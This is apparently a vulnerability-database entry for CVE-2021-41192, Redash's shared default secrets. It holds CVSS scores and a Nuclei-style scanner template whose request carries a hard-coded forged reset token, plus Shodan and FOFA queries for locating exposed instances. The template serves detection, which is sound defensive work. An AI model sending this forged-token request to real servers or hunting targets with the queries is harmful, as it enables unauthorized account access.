CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:S/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
EPSS
Percentile
80.1%
Redash Setup Configuration is vulnerable to default secrets disclosure (Insecure Default Initialization of Resource). If an admin sets up Redash versions <=10.0 and prior without explicitly specifying the REDASH_COOKIE_SECRET
or REDASH_SECRET_KEY
environment variables, a default value is used for both that is the same across all installations. In such cases, the instance is vulnerable to attackers being able to forge sessions using the known default value.
id: CVE-2021-41192
info:
name: Redash Setup Configuration - Default Secrets Disclosure
author: bananabr
severity: medium
description: Redash Setup Configuration is vulnerable to default secrets disclosure (Insecure Default Initialization of Resource). If an admin sets up Redash versions <=10.0 and prior without explicitly specifying the `REDASH_COOKIE_SECRET` or `REDASH_SECRET_KEY` environment variables, a default value is used for both that is the same across all installations. In such cases, the instance is vulnerable to attackers being able to forge sessions using the known default value.
impact: |
An attacker can gain unauthorized access to sensitive information and potentially compromise the Redash application.
remediation: |
Remove or update the default secrets in the Redash setup configuration file.
reference:
- https://hackerone.com/reports/1380121
- https://github.com/getredash/redash/security/advisories/GHSA-g8xr-f424-h2rv
- https://nvd.nist.gov/vuln/detail/CVE-2021-41192
- https://github.com/getredash/redash/commit/ce60d20c4e3d1537581f2f70f1308fe77ab6a214
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
cvss-score: 6.5
cve-id: CVE-2021-41192
cwe-id: CWE-1188
epss-score: 0.00807
epss-percentile: 0.81699
cpe: cpe:2.3:a:redash:redash:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: redash
product: redash
shodan-query: http.favicon.hash:698624197
fofa-query: icon_hash=698624197
tags: cve2021,cve,hackerone,redash,auth-bypass
http:
- method: GET
path:
- "{{BaseURL}}/reset/IjEi.YhAmmQ.cdQp7CnnVq02aQ05y8tSBddl-qs"
- "{{BaseURL}}/redash/reset/IjEi.YhAmmQ.cdQp7CnnVq02aQ05y8tSBddl-qs"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Enter your new password:"
- "redash"
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100b430161d4f67406d937f021501632a776b165e88766fe5aac19d7543e61cd54602202a8caef664b263d6de002809871fa56a635aaa6b25224efac19f5c6207e96eff:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:S/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
EPSS
Percentile
80.1%